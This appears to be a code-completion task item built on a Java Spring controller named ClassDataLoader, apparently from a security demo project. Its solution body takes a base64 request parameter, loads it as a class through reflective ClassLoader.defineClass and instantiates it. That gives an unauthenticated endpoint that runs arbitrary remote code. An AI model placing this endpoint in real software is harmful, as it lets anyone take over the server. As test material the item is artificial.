class ClassDataLoader {

    protected final Logger logger = LoggerFactory.getLogger(this.getClass());

    @RequestMapping("/classloader")
    public void classData() {<FILL_FUNCTION_BODY>}
}

        try{
            ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
            HttpServletRequest request = sra.getRequest();
            String classData = request.getParameter("classData");

            byte[] classBytes = java.util.Base64.getDecoder().decode(classData);
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClassMethod.setAccessible(true);
            Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length);
            cc.newInstance();
        }catch(Exception e){
            logger.error(e.toString());
        }
    
<no_super_class>